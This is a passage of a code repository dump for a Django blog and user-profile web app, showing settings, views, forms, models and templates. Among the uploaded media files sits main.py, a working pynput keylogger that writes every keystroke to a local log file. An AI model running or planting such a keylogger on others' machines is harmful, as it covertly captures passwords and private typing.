django.conf.urls.static import static 21 | from users import views as user_views 22 | 23 | urlpatterns = [ 24 | path('admin/', admin.site.urls), 25 | path('login/', auth_views.LoginView.as_view(template_name='users/login.html'), name='login'), 26 | path('register/', user_views.register, name='register'), 27 | path('profile/', user_views.profile, name='profile'), 28 | path('logout/', auth_views.LogoutView.as_view(template_name='users/logout.html'), name='logout'), 29 | path('', include('blog.urls')), 30 | ] 31 | 32 | 33 | if settings.DEBUG: 34 | urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) -------------------------------------------------------------------------------- /django_web_app/django_web_app/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for django_web_app project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_web_app.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /django_web_app/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == '__main__': 6 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_web_app.settings') 7 | try: 8 | from django.core.management import execute_from_command_line 9 | except ImportError as exc: 10 | raise ImportError( 11 | "Couldn't import Django. Are you sure it's installed and " 12 | "available on your PYTHONPATH environment variable? Did you " 13 | "forget to activate a virtual environment?" 14 | ) from exc 15 | execute_from_command_line(sys.argv) 16 | -------------------------------------------------------------------------------- /django_web_app/media/Files/Alan_Walker_-_Faded_Were_are_you_now_mp3.pm.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/Files/Alan_Walker_-_Faded_Were_are_you_now_mp3.pm.mp3 -------------------------------------------------------------------------------- /django_web_app/media/Files/Beautiful.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/Files/Beautiful.jpg -------------------------------------------------------------------------------- /django_web_app/media/Files/IMG-20181225-WA0032.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/Files/IMG-20181225-WA0032.jpg -------------------------------------------------------------------------------- /django_web_app/media/Files/Space_Invaders_02-03-2019_11_01_19.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/Files/Space_Invaders_02-03-2019_11_01_19.mp4 -------------------------------------------------------------------------------- /django_web_app/media/Files/Space_Invaders_31-03-2019_10_11_46.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/Files/Space_Invaders_31-03-2019_10_11_46.mp4 -------------------------------------------------------------------------------- /django_web_app/media/Files/canadian_rockies_beauty_wallpaper_g7zor.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/Files/canadian_rockies_beauty_wallpaper_g7zor.jpg -------------------------------------------------------------------------------- /django_web_app/media/Files/main.py: -------------------------------------------------------------------------------- 1 | # Keylogger by Mahesh Sawant. 2 | 3 | import pynput 4 | 5 | from pynput.keyboard import Key,Listener 6 | 7 | count = 0 8 | keys = [] 9 | 10 | 11 | def on_press(key): 12 | global keys, count 13 | 14 | keys.append(key) 15 | count+=1 16 | print("{0} pressed".format(key)) 17 | 18 | if count >= 1: 19 | count = 0 20 | write_file(keys) 21 | keys = [] 22 | 23 | 24 | def write_file(keys): 25 | with open("log.txt","a") as f: 26 | for key in keys: 27 | k=str(key).replace("'","") 28 | if k.find("backspace") > 0: 29 | f.write("Backspace_key ") 30 | elif k.find("enter") > 0: 31 | f.write('\n') 32 | elif k.find("shift") > 0: 33 | f.write("Shift_key ") 34 | elif k.find("space") > 0: 35 | f.write(" ") 36 | elif k.find("caps_lock") >0 : 37 | f.write("caps_Lock_key ") 38 | elif k.find("Key"): 39 | f.write(k) 40 | 41 | 42 | def on_release(key): 43 | global exit 44 | if key == Key.esc: 45 | exit += 1 46 | if exit == 5 : 47 | return False 48 | 49 | exit = 0 50 | with Listener(on_press=on_press, on_release=on_release) as listener: 51 | listener.join() 52 | 53 | -------------------------------------------------------------------------------- /django_web_app/media/Files/project_problem_statement.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/Files/project_problem_statement.pdf -------------------------------------------------------------------------------- /django_web_app/media/Files/space.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/Files/space.wav -------------------------------------------------------------------------------- /django_web_app/media/Files/speech.py: -------------------------------------------------------------------------------- 1 | # Speech to Text converter by Mahesh Sawant 2 | 3 | import pyspeech as sr 4 | 5 | r = sr.Recognizer() 6 | 7 | with sr.Microphone() as source: 8 | print("Speak Anything : ") 9 | audio = r.listen(source) 10 | 11 | try: 12 | text = r.recognize_google(audio) 13 | print("You said : {}".format(text)) 14 | except: 15 | print("Sorry could not recognize your voice") -------------------------------------------------------------------------------- /django_web_app/media/default.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/default.jpg -------------------------------------------------------------------------------- /django_web_app/media/profile_pics/1535657187-5807300-avatar-images.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/profile_pics/1535657187-5807300-avatar-images.png -------------------------------------------------------------------------------- /django_web_app/media/profile_pics/newuser_USxz6fs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/profile_pics/newuser_USxz6fs.png -------------------------------------------------------------------------------- /django_web_app/media/profile_pics/profile.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/profile_pics/profile.jpg -------------------------------------------------------------------------------- /django_web_app/media/profile_pics/profile_IVTEnjH.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/media/profile_pics/profile_IVTEnjH.jpg -------------------------------------------------------------------------------- /django_web_app/users/__init__.py: -------------------------------------------------------------------------------- 1 | #init -------------------------------------------------------------------------------- /django_web_app/users/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/__pycache__/admin.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/__pycache__/admin.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/__pycache__/apps.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/__pycache__/apps.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/__pycache__/forms.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/__pycache__/forms.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/__pycache__/models.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/__pycache__/models.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/__pycache__/signals.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/__pycache__/signals.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/__pycache__/views.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/__pycache__/views.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from .models import Profile 3 | 4 | admin.site.register(Profile) 5 | -------------------------------------------------------------------------------- /django_web_app/users/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class UsersConfig(AppConfig): 5 | name = 'users' 6 | 7 | def ready(self): 8 | import users.signals -------------------------------------------------------------------------------- /django_web_app/users/forms.py: -------------------------------------------------------------------------------- 1 | from django import forms 2 | from django.contrib.auth.models import User 3 | from django.contrib.auth.forms import UserCreationForm 4 | from .models import Profile 5 | 6 | 7 | class UserRegisterForm(UserCreationForm): 8 | email = forms.EmailField() 9 | 10 | class Meta: 11 | model = User 12 | fields = ['username', 'email', 'password1', 'password2'] 13 | 14 | 15 | class UserUpdateForm(forms.ModelForm): 16 | email = forms.EmailField() 17 | 18 | class Meta: 19 | model = User 20 | fields = ['username', 'email'] 21 | 22 | 23 | class ProfileUpdateForm(forms.ModelForm): 24 | class Meta: 25 | model = Profile 26 | fields = ['image'] 27 | -------------------------------------------------------------------------------- /django_web_app/users/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.1.7 on 2019-03-30 06:12 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | initial = True 11 | 12 | dependencies = [ 13 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 14 | ] 15 | 16 | operations = [ 17 | migrations.CreateModel( 18 | name='Profile', 19 | fields=[ 20 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 21 | ('image', models.ImageField(default='default.jpg', upload_to='profile_pics')), 22 | ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), 23 | ], 24 | ), 25 | ] 26 | -------------------------------------------------------------------------------- /django_web_app/users/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | #init -------------------------------------------------------------------------------- /django_web_app/users/migrations/__pycache__/0001_initial.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/migrations/__pycache__/0001_initial.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/migrations/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smahesh29/Django-WebApp/ec43883a5351989366ed88cc002ae26794df9bab/django_web_app/users/migrations/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /django_web_app/users/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | from django.contrib.auth.models import User 3 | from PIL import Image 4 | 5 | 6 | class Profile(models.Model): 7 | user = models.OneToOneField(User, on_delete=models.CASCADE) 8 | image = models.ImageField(default='default.jpg', upload_to='profile_pics') 9 | 10 | def __str__(self): 11 | return f'{self.user.username} Profile' 12 | 13 | def save(self, *args, **kwargs): 14 | super(Profile, self).save(*args, **kwargs) 15 | 16 | img = Image.open(self.image.path) 17 | 18 | if img.height > 300 or img.width > 300: 19 | output_size = (300, 300) 20 | img.thumbnail(output_size) 21 | img.save(self.image.path) 22 | -------------------------------------------------------------------------------- /django_web_app/users/signals.py: -------------------------------------------------------------------------------- 1 | from django.db.models.signals import post_save 2 | from django.contrib.auth.models import User 3 | from django.dispatch import receiver 4 | from .models import Profile 5 | 6 | 7 | @receiver(post_save, sender=User) 8 | def create_profile(sender, instance, created, **kwargs): 9 | if created: 10 | Profile.objects.create(user=instance) 11 | 12 | 13 | @receiver(post_save, sender=User) 14 | def save_profile(sender, instance,created, **kwargs): 15 | instance.profile.save() 16 | -------------------------------------------------------------------------------- /django_web_app/users/templates/users/login.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% load crispy_forms_tags %} 3 | {% block content %} 4 |
5 |
6 | {% csrf_token %} 7 |
8 | Log In 9 | {{ form|crispy }} 10 |
11 |
12 | 13 |
14 |
15 |
16 | 17 | Need An Account? Sign Up Now 18 | 19 |
20 |
21 | {% endblock content %} 22 | -------------------------------------------------------------------------------- /django_web_app/users/templates/users/logout.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% block content %} 3 |

You have been logged out

4 |
5 | 6 | Log In Again 7 | 8 |
9 | 10 | {% endblock content %} 11 | -------------------------------------------------------------------------------- /django_web_app/users/templates/users/profile.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% load crispy_forms_tags %} 3 | {% block content %} 4 |
5 |
6 | 7 |
8 | 9 |

{{ user.email }}

10 |
11 |
12 |
13 | {% csrf_token %} 14 |
15 | Profile Info 16 | {{ u_form|crispy }} 17 | {{ p_form|crispy }} 18 |
19 |
20 | 21 |
22 |
23 |
24 | {% endblock content %} 25 | -------------------------------------------------------------------------------- /django_web_app/users/templates/users/register.html: -------------------------------------------------------------------------------- 1 | {% extends "blog/base.html" %} 2 | {% load crispy_forms_tags %} 3 | {% block content %} 4 |
5 |
6 | {% csrf_token %} 7 |
8 | Join Today 9 | {{ form|crispy }} 10 |
11 |
12 | 13 |
14 |
15 |
16 | 17 | Already Have An Account? Sign In 18 | 19 |
20 |
21 | {% endblock content %} 22 | -------------------------------------------------------------------------------- /django_web_app/users/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /django_web_app/users/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render, redirect 2 | from django.contrib import messages 3 | from django.contrib.auth.decorators import login_required 4 | from .forms import UserRegisterForm, UserUpdateForm, ProfileUpdateForm 5 | 6 | 7 | def register(request): 8 | if request.method == 'POST': 9 | form = UserRegisterForm(request.POST) 10 | if form.is_valid(): 11 | form.save() 12 | username = form.cleaned_data.get('username') 13 | messages.success(request, f'Your account has been created! You are now able to log in') 14 | return redirect('login') 15 | else: 16 | form = UserRegisterForm() 17 | return render(request, 'users/register.html', {'form': form}) 18 | 19 | 20 | @login_required 21 | def profile(request): 22 | if request.method == 'POST': 23 | u_form = UserUpdateForm(request.POST, instance=request.user) 24 | p_form = ProfileUpdateForm(request.POST, 25 | request.FILES, 26 | instance=request.user.profile) 27 | if u_form.is_valid() and p_form.is_valid(): 28 | u_form.save() 29 | p_form.save() 30 | messages.success(request, f'Your account has been updated!') 31 | return redirect('profile') 32 | 33 | else: 34 | u_form = UserUpdateForm(instance=request.user) 35 | p_form = ProfileUpdateForm(instance=request.user.profile) 36 | 37 | context = { 38 | 'u_form': u_form, 39 | 'p_form': p_form 40 | } 41 | 42 | return render(request, 'users/profile.html', context) 43 | --------------------------------------------------------------------------------